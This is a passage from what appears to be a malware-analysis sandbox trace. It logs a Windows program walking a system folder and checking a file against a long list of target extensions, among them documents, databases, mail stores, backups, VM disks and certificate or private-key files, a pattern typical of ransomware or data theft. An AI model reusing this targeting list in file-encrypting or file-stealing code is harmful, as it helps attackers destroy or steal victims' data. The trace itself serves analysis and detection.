(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.qif") returned 0 [0100.182] lstrlenA (lpString="*.qif") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mye") returned 0 [0100.182] lstrlenA (lpString="*.mye") returned 5 [0100.182] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mbox") returned 0 [0100.183] lstrlenA (lpString="*.mbox") returned 6 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.eml") returned 0 [0100.183] lstrlenA (lpString="*.eml") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.pst") returned 0 [0100.183] lstrlenA (lpString="*.pst") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.ost") returned 0 [0100.183] lstrlenA (lpString="*.ost") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.idx") returned 0 [0100.183] lstrlenA (lpString="*.idx") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.dbx") returned 0 [0100.183] lstrlenA (lpString="*.dbx") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.sql") returned 0 [0100.183] lstrlenA (lpString="*.sql") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mdb") returned 0 [0100.183] lstrlenA (lpString="*.mdb") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.fdb") returned 0 [0100.183] lstrlenA (lpString="*.fdb") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.wab") returned 0 [0100.183] lstrlenA (lpString="*.wab") returned 5 [0100.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.dat") returned 0 [0100.183] lstrlenA (lpString="*.dat") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.txt") returned 0 [0100.184] lstrlenA (lpString="*.txt") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.jpeg") returned 0 [0100.184] lstrlenA (lpString="*.jpeg") returned 6 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.jpg") returned 0 [0100.184] lstrlenA (lpString="*.jpg") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.png") returned 0 [0100.184] lstrlenA (lpString="*.png") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.php") returned 0 [0100.184] lstrlenA (lpString="*.php") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.cs") returned 0 [0100.184] lstrlenA (lpString="*.cs") returned 4 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.cpp") returned 0 [0100.184] lstrlenA (lpString="*.cpp") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.rar") returned 0 [0100.184] lstrlenA (lpString="*.rar") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.zip") returned 0 [0100.184] lstrlenA (lpString="*.zip") returned 5 [0100.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.html") returned 0 [0100.184] lstrlenA (lpString="*.html") returned 6 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.htm") returned 0 [0100.185] lstrlenA (lpString="*.htm") returned 5 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.xlsx") returned 0 [0100.185] lstrlenA (lpString="*.xlsx") returned 6 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.xls") returned 0 [0100.185] lstrlenA (lpString="*.xls") returned 5 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mp4") returned 0 [0100.185] lstrlenA (lpString="*.mp4") returned 5 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.ppt") returned 0 [0100.185] lstrlenA (lpString="*.ppt") returned 5 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.pptx") returned 0 [0100.185] lstrlenA (lpString="*.pptx") returned 6 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.doc") returned 0 [0100.185] lstrlenA (lpString="*.doc") returned 5 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.dot") returned 0 [0100.185] lstrlenA (lpString="*.dot") returned 5 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.docx") returned 0 [0100.185] lstrlenA (lpString="*.docx") returned 6 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.7z") returned 0 [0100.185] lstrlenA (lpString="*.7z") returned 4 [0100.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.tar") returned 0 [0100.185] lstrlenA (lpString="*.tar") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.bz2") returned 0 [0100.186] lstrlenA (lpString="*.bz2") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.gz") returned 0 [0100.186] lstrlenA (lpString="*.gz") returned 4 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mkv") returned 0 [0100.186] lstrlenA (lpString="*.mkv") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.eml") returned 0 [0100.186] lstrlenA (lpString="*.eml") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.msg") returned 0 [0100.186] lstrlenA (lpString="*.msg") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.edb") returned 0 [0100.186] lstrlenA (lpString="*.edb") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.accdb") returned 0 [0100.186] lstrlenA (lpString="*.accdb") returned 7 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.odb") returned 0 [0100.186] lstrlenA (lpString="*.odb") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.java") returned 0 [0100.186] lstrlenA (lpString="*.java") returned 6 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.asm") returned 0 [0100.186] lstrlenA (lpString="*.asm") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.pfx") returned 0 [0100.186] lstrlenA (lpString="*.pfx") returned 5 [0100.186] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.pem") returned 0 [0100.187] lstrlenA (lpString="*.pem") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.p12") returned 0 [0100.187] lstrlenA (lpString="*.p12") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.gpg") returned 0 [0100.187] lstrlenA (lpString="*.gpg") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.vsd") returned 0 [0100.187] lstrlenA (lpString="*.vsd") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.odg") returned 0 [0100.187] lstrlenA (lpString="*.odg") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.raw") returned 0 [0100.187] lstrlenA (lpString="*.raw") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.nef") returned 0 [0100.187] lstrlenA (lpString="*.nef") returned 5 [0100.187] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.svg") returned 0 [0100.187] lstrlenA (lpString="*.svg") returned 5 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.psd") returned 0 [0100.188] lstrlenA (lpString="*.psd") returned 5 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.vmx") returned 0 [0100.188] lstrlenA (lpString="*.vmx") returned 5 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.vmdk") returned 0 [0100.188] lstrlenA (lpString="*.vmdk") returned 6 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.vdi") returned 0 [0100.188] lstrlenA (lpString="*.vdi") returned 5 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.lay6") returned 0 [0100.188] lstrlenA (lpString="*.lay6") returned 6 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mpeg") returned 0 [0100.188] lstrlenA (lpString="*.mpeg") returned 6 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.djvu") returned 0 [0100.188] lstrlenA (lpString="*.djvu") returned 6 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.tiff") returned 0 [0100.188] lstrlenA (lpString="*.tiff") returned 6 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.backup") returned 0 [0100.188] lstrlenA (lpString="*.backup") returned 8 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.pdf") returned 0 [0100.188] lstrlenA (lpString="*.pdf") returned 5 [0100.188] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.cert") returned 0 [0100.189] lstrlenA (lpString="*.cert") returned 6 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.docm") returned 0 [0100.189] lstrlenA (lpString="*.docm") returned 6 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.xlsm") returned 0 [0100.189] lstrlenA (lpString="*.xlsm") returned 6 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.dwg") returned 0 [0100.189] lstrlenA (lpString="*.dwg") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.nd") returned 0 [0100.189] lstrlenA (lpString="*.nd") returned 4 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.tlg") returned 0 [0100.189] lstrlenA (lpString="*.tlg") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.lgb") returned 0 [0100.189] lstrlenA (lpString="*.lgb") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mov") returned 0 [0100.189] lstrlenA (lpString="*.mov") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.xdw") returned 0 [0100.189] lstrlenA (lpString="*.xdw") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.ods") returned 0 [0100.189] lstrlenA (lpString="*.ods") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.wav") returned 0 [0100.189] lstrlenA (lpString="*.wav") returned 5 [0100.189] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.mp3") returned 0 [0100.189] lstrlenA (lpString="*.mp3") returned 5 [0100.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.aiff") returned 0 [0100.190] lstrlenA (lpString="*.aiff") returned 6 [0100.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.flac") returned 0 [0100.190] lstrlenA (lpString="*.flac") returned 6 [0100.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.m4a") returned 0 [0100.190] lstrlenA (lpString="*.m4a") returned 5 [0100.190] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", pszSpec="*.csv") returned 0 [0100.190] lstrlenA (lpString="*.csv") returned 5 [0100.190] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.resources.dll", cAlternateFileName="")) returned 0 [0100.190] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.190] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.190] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.190] FindNextFileA (in: hFindFile=0x5025d8, 